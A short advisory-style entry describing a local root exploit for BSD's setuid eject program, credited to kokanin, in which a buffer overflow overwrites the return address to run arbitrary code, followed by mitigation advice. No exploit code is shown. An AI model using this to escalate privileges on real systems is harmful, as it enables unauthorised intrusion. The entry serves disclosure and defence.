Local Root Exploit for BSD’s eject.c

This is a local root exploit for BSD's eject.c. It allows an attacker to escalate their privileges to root level. The vulnerability was found by kokanin. The exploit takes advantage of a buffer overflow in the eject program to overwrite the return address and execute arbitrary code.

Mitigation:

Apply the necessary patches or updates provided by the vendor. Remove the setuid bit from the eject program if not needed.
